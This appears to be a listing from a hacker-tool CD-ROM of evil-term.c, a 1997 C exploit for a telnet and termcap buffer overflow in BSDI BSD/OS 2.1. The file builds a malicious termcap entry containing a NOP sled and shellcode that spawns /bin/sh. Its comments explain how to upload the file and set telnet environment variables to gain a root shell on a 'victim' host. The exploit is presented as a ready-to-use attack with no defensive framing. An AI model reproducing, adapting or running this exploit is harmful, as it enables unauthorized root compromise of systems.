home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / evil-term.c < prev    next >
C/C++ Source or Header  |  2001-11-06  |  2KB  |  93 lines

  1.  
  2. /* Bug originally discovered by Theo de Raadt <deraadt@CVS.OPENBSD.ORG> */
  3.  
  4. /* BSDI BSD/OS 2.1 telnet-exploit ; evil-term.c
  5. **
  6. ** Written by Joseph_K the 22-Oct-1997
  7. **
  8. **
  9. ** Original shellcode by mudge@l0pht.com but modified a tiny bit...
  10. **
  11. ** This program must be compiled for the BSDI architecture...
  12. ** You will need to transfer the file 'termcap' this program creates
  13. ** to the host you want to penetrate, possibly by anonymous FTP.
  14. **
  15. ** Then start telnet and type:
  16. **
  17. ** telnet> env def TERM access
  18. ** telnet> env def TERMCAP /path/and/name/of/uploaded/file
  19. ** telnet> open victim.host.com
  20. **
  21. ** tadaa! r00t shell...
  22. **
  23. ** However because of the invalid termcap entry, there can be some
  24. ** hazzles....You figure it out....
  25. **
  26. ** Fy faen vad jag ar hungrig...
  27. **
  28. ** Special Greetz to TWiLiGHT!
  29. **
  30. */
  31.  
  32. #include <stdlib.h>
  33. #include <unistd.h>
  34. #include <fcntl.h>
  35.  
  36. #define filename "./termcap"
  37. #define entry   "access|Gimme r00t:\\\n :"
  38. #define bufsize 1300
  39. #define default_offset 870    /* Should work...*/
  40.  
  41. char shellcode[] =
  42.    "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
  43.    "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
  44.    "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
  45.    "\x9a\x3e\x39\x29\x28\x39\x3c\xe8\xc6\xff\xff\xff/bin/sh";
  46.  
  47. long get_sp(void)
  48. {
  49.    __asm__("movl %esp, %eax\n");
  50. }
  51.  
  52. int main(int argc, char *argv[]) {
  53.    int i, fd, offs;
  54.    long *bof_ptr;
  55.    char *ptr, *buffer, *tempbuf;
  56.  
  57.    offs = default_offset;
  58.  
  59.    if(argc == 2) {
  60.       printf("using offset: %d\n",atoi(argv[1]));
  61.       offs = atoi(argv[1]);
  62.    }
  63.  
  64.    if(!(buffer = malloc(bufsize))) {
  65.       printf("can't allocate enough memory\n");
  66.       exit(0);
  67.    }
  68.  
  69.  
  70.   if(!(tempbuf = malloc(bufsize+strlen(entry) + 50))) {
  71.       printf("can't allocate enough memory\n");
  72.       exit(0);
  73.    }
  74.  
  75.    bof_ptr = (long *)buffer;
  76.    for (i = 0; i < bufsize - 4; i += 4)
  77.       *(bof_ptr++) = get_sp() - offs;
  78.  
  79.    ptr = (char *)buffer;
  80.    for (i = 0; i < ((bufsize-strlen(shellcode)))/2 - 1; i++)
  81.       *(ptr++) = 0x90;
  82.  
  83.    for (i = 0; i < strlen(shellcode); i++)
  84.       *(ptr++) = shellcode[i];
  85.  
  86.    printf("Creating termcap file\n");
  87.  
  88.    snprintf(tempbuf, (bufsize+strlen(entry)+50), "%s%s:\n", entry, buffer);
  89.    fd = open(filename, O_WRONLY|O_CREAT, 0666);
  90.    write (fd, tempbuf, strlen(tempbuf));
  91.    close(fd);
  92. }
  93.